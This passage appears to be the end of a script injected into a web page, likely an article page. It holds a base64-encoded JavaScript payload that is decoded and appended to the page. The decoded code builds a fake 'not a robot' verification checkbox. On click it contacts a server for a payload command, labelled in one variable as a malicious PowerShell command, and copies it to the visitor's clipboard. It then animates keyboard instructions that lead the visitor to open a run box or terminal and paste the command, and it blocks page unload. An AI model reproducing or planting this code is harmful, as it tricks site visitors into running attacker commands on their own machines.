gICAgICAgZnVuY3Rpb24gcHJvY2Vzc0tleWJvYXJkU3RlcHMobW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICB2YXIgYnV0dG9uRWxlbWVudHMgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCgNCiAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnN0ZXAtdGV4dCBiJykNCiAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnV0dG9uRWxlbWVudHMubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgICAgICAgICB2YXIgYnV0dG9uRWxlbWVudCA9IGJ1dHRvbkVsZW1lbnRzW2ldOw0KDQogICAgICAgICAgICAgICAgaWYgKGJ1dHRvbkVsZW1lbnQuaW5uZXJIVE1MLmluZGV4T2YoJyArICcpID09PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIga2V5UGFydHMgPSBidXR0b25FbGVtZW50LmlubmVySFRNTC5zcGxpdCgnICsgJyk7DQogICAgICAgICAgICAgICAgdmFyIGRvY3VtZW50RnJhZ21lbnQgPSBkb2N1bWVudC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7DQoNCiAgICAgICAgICAgICAgICBmb3IgKHZhciBqID0gMDsgaiA8IGtleVBhcnRzLmxlbmd0aDsgaisrKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGogPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgcGx1c1NwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBwbHVzU3Bhbi5zdHlsZS5jc3NUZXh0ID0gJ2NvbG9yOiM2NjY7Zm9udC1zaXplOjExcHg7bWFyZ2luOjAgM3B4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnOw0KICAgICAgICAgICAgICAgICAgICAgICAgcGx1c1NwYW4udGV4dENvbnRlbnQgPSAnKyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudEZyYWdtZW50LmFwcGVuZENoaWxkKHBsdXNTcGFuKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIHZhciBuZXdCdXR0b24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdiJyk7DQogICAgICAgICAgICAgICAgICAgIG5ld0J1dHRvbi5pbm5lckhUTUwgPSBrZXlQYXJ0c1tqXTsNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRGcmFnbWVudC5hcHBlbmRDaGlsZChuZXdCdXR0b24pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGJ1dHRvbkVsZW1lbnQucGFyZW50Tm9kZS5yZXBsYWNlQ2hpbGQoZG9jdW1lbnRGcmFnbWVudCwgYnV0dG9uRWxlbWVudCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgdmFyIGluc3RydWN0aW9uSXRlbXMgPSBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCgNCiAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmluc3RydWN0aW9uLWxpc3QgbGknKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIHZhciBhbmltYXRpb25RdWV1ZSA9IFtdOw0KDQogICAgICAgICAgICBpbnN0cnVjdGlvbkl0ZW1zLmZvckVhY2goZnVuY3Rpb24obGlzdEl0ZW0pIHsNCiAgICAgICAgICAgICAgICB2YXIgYnV0dG9ucyA9IEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKA0KICAgICAgICAgICAgICAgICAgICBsaXN0SXRlbS5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcC10ZXh0IGInKQ0KICAgICAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgICAgICBpZiAoIWJ1dHRvbnMubGVuZ3RoKSByZXR1cm47DQoNCiAgICAgICAgICAgICAgICBpZiAoYnV0dG9ucy5sZW5ndGggPT09IDEpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDYwMH0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1swXX0pOw0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogNDUwfSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncHJlc3MnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDQwMH0pOw0KDQogICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGogPSAxOyBqIDwgYnV0dG9ucy5sZW5ndGg7IGorKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3ByZXNzJywga2V5OiBidXR0b25zW2pdfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMzgwfSk7DQogICAgICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAncmVsZWFzZScsIGtleTogYnV0dG9uc1tqXX0pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaiA8IGJ1dHRvbnMubGVuZ3RoIC0gMSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAxMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblF1ZXVlLnB1c2goe3R5cGU6ICd3YWl0JywgbWlsbGlzZWNvbmRzOiAyMDB9KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3JlbGVhc2UnLCBrZXk6IGJ1dHRvbnNbMF19KTsNCiAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uUXVldWUucHVzaCh7dHlwZTogJ3dhaXQnLCBtaWxsaXNlY29uZHM6IDUwMH0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBhbmltYXRpb25RdWV1ZS5wdXNoKHt0eXBlOiAnd2FpdCcsIG1pbGxpc2Vjb25kczogMTYwMH0pOw0KDQogICAgICAgICAgICB2YXIgY3VycmVudEluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gZXhlY3V0ZU5leHRBbmltYXRpb24oKSB7DQogICAgICAgICAgICAgICAgaWYgKGN1cnJlbnRJbmRleCA+PSBhbmltYXRpb25RdWV1ZS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgY3VycmVudEluZGV4ID0gMDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIgYW5pbWF0aW9uU3RlcCA9IGFuaW1hdGlvblF1ZXVlW2N1cnJlbnRJbmRleCsrXTsNCg0KICAgICAgICAgICAgICAgIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdwcmVzcycpIHsNCg0KICAgICAgICAgICAgICAgICAgICBhbmltYXRpb25TdGVwLmtleS5jbGFzc0xpc3QuYWRkKCdrbGl0Jyk7DQogICAgICAgICAgICAgICAgICAgIGV4ZWN1dGVOZXh0QW5pbWF0aW9uKCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmIChhbmltYXRpb25TdGVwLnR5cGUgPT09ICdyZWxlYXNlJykgew0KDQogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvblN0ZXAua2V5LmNsYXNzTGlzdC5yZW1vdmUoJ2tsaXQnKTsNCiAgICAgICAgICAgICAgICAgICAgZXhlY3V0ZU5leHRBbmltYXRpb24oKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIGFuaW1hdGlvblN0ZXAubWlsbGlzZWNvbmRzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZXhlY3V0ZU5leHRBbmltYXRpb24sIDYwMCk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBhZGRTdGVwT25lVG9vbHRpcChtb2RhbEVsZW1lbnQsIHRvb2x0aXBUZXh0KSB7DQogICAgICAgICAgICBpZiAoIXRvb2x0aXBUZXh0KSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBmaXJzdExpc3RJdGVtID0gbW9kYWxFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJy5pbnN0cnVjdGlvbi1saXN0IGxpJyk7DQogICAgICAgICAgICBpZiAoIWZpcnN0TGlzdEl0ZW0pIHJldHVybjsNCg0KICAgICAgICAgICAgdmFyIGJ1dHRvbnMgPSBmaXJzdExpc3RJdGVtLnF1ZXJ5U2VsZWN0b3JBbGwoJy5zdGVwLXRleHQgYicpOw0KICAgICAgICAgICAgdmFyIHRhcmdldEJ1dHRvbiA9IG51bGw7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnV0dG9ucy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChidXR0b25zW2ldLnF1ZXJ5U2VsZWN0b3IoJ3N2ZycpKSB7DQogICAgICAgICAgICAgICAgICAgIHRhcmdldEJ1dHRvbiA9IGJ1dHRvbnNbaV07DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKCF0YXJnZXRCdXR0b24gJiYgYnV0dG9ucy5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICB0YXJnZXRCdXR0b24gPSBidXR0b25zWzBdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAoIXRhcmdldEJ1dHRvbikgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgaGludFNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7DQogICAgICAgICAgICBoaW50U3Bhbi5jbGFzc05hbWUgPSAnd2staGludCc7DQogICAgICAgICAgICBoaW50U3Bhbi5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZSgnPycpKTsNCg0KICAgICAgICAgICAgdmFyIHRvb2x0aXBTcGFuID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3BhbicpOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4uY2xhc3NOYW1lID0gJ3drLXRvb2x0aXAnOw0KICAgICAgICAgICAgdG9vbHRpcFNwYW4udGV4dENvbnRlbnQgPSB0b29sdGlwVGV4dDsNCiAgICAgICAgICAgIGhpbnRTcGFuLmFwcGVuZENoaWxkKHRvb2x0aXBTcGFuKTsNCg0KICAgICAgICAgICAgdGFyZ2V0QnV0dG9uLmFwcGVuZENoaWxkKGhpbnRTcGFuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBjaGVja2JveEJ1dHRvbiA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1jYicpOw0KICAgICAgICB2YXIgc3Bpbm5lckVsZW1lbnQgPSByb290RWxlbWVudC5xdWVyeVNlbGVjdG9yKCcjY2Ytc3AnKTsNCiAgICAgICAgdmFyIGxhYmVsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1sYmwnKTsNCiAgICAgICAgdmFyIG1vZGFsRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1tb2RhbCcpOw0KDQogICAgICAgIGZ1bmN0aW9uIHByZXZlbnRQYWdlVW5sb2FkKGV2ZW50KSB7DQogICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgZXZlbnQucmV0dXJuVmFsdWUgPSAnJzsNCiAgICAgICAgfQ0KDQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdiZWZvcmV1bmxvYWQnLCBwcmV2ZW50UGFnZVVubG9hZCk7DQoNCiAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGlmIChjaGVja2JveEJ1dHRvbikgew0KICAgICAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHNwaW5uZXJFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMubm90Um9ib3RUZXh0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9LCAzMDAwKTsNCg0KICAgICAgICBjaGVja2JveEJ1dHRvbi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKCkgew0KDQogICAgICAgICAgICBpZiAoY2hlY2tib3hCdXR0b24uX19leGVjdXRlZCkgew0KICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNoZWNrYm94QnV0dG9uLl9fZXhlY3V0ZWQgPSB0cnVlOw0KDQogICAgICAgICAgICB3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcignYmVmb3JldW5sb2FkJywgcHJldmVudFBhZ2VVbmxvYWQpOw0KDQogICAgICAgICAgICBjaGVja2JveEJ1dHRvbi5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICAgICAgICAgIGlmIChsYWJlbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICBsYWJlbEVsZW1lbnQudGV4dENvbnRlbnQgPSBVSV9UUkFOU0xBVElPTlMudmVyaWZ5aW5nVGV4dDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKFJBWV9UUkFDS0lOR19JRCkgew0KICAgICAgICAgICAgICAgIHNlbmRSZXF1ZXN0VG9TZXJ2ZXIoew0KICAgICAgICAgICAgICAgICAgICBhY3Rpb246ICdjYicsDQogICAgICAgICAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgICAgICAgICAgdDogUkFZX1RSQUNLSU5HX0lEDQogICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNlcnZlclBheWxvYWRQcm9taXNlLnRoZW4oZnVuY3Rpb24ocGF5bG9hZENvbW1hbmQpIHsNCg0KICAgICAgICAgICAgICAgIGlmIChtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgbW9kYWxFbGVtZW50LmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgICAgICBwcm9jZXNzS2V5Ym9hcmRTdGVwcyhtb2RhbEVsZW1lbnQpOw0KICAgICAgICAgICAgICAgICAgICBzdGFydEtleWJvYXJkQW5pbWF0aW9uKG1vZGFsRWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgIGFkZFN0ZXBPbmVUb29sdGlwKG1vZGFsRWxlbWVudCwgVUlfVFJBTlNMQVRJT05TLnN0ZXBLZXlIZWxwKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAocGF5bG9hZENvbW1hbmQpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGZpbmFsQ29tbWFuZCA9IE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQgKyAnOycpIDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChwYXlsb2FkQ29tbWFuZCk7DQoNCiAgICAgICAgICAgICAgICAgICAgY29weVRleHRUb0NsaXBib2FyZChidWlsZENsaXBib2FyZENvbW1hbmQoKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgdmFyIG9zS2V5TGlzdGVuZXIgPSBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIG9zID0gVEFSR0VUX09QRVJBVElOR19TWVNURU0gfHwgZGV0ZWN0VmlzaXRvck9zKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB2YXIgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9IGZhbHNlOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAob3MgPT09ICdtYWMnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKGV2ZW50Lm1ldGFLZXkgfHwgZXZlbnQua2V5ID09PSAnTWV0YScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChvcyA9PT0gJ2xpbnV4Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNob3VsZFJlZnJlc2hDbGlwYm9hcmQgPSAhISgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQuY3RybEtleSAmJiBldmVudC5hbHRLZXkgJiYgU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKSA9PT0gJ3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hvdWxkUmVmcmVzaENsaXBib2FyZCA9ICEhKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmVudC5tZXRhS2V5IHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleSA9PT0gJ01ldGEnIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkxIHx8DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50LmtleUNvZGUgPT09IDkyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHNob3VsZFJlZnJlc2hDbGlwYm9hcmQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5VGV4dFRvQ2xpcGJvYXJkKGJ1aWxkQ2xpcGJvYXJkQ29tbWFuZCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5yZW1vdmVFdmVudExpc3RlbmVyKCdrZXlkb3duJywgb3NLZXlMaXN0ZW5lcik7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH07DQoNCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIG9zS2V5TGlzdGVuZXIpOw0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgd2FpdEZvckV4ZWN1dGlvblRva2VuKFJBWV9UUkFDS0lOR19JRCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSkoKTsNCg0KICB9KTt9KCk7”);document.documentElement.appendChild(s);})(); favorite rest article 1110139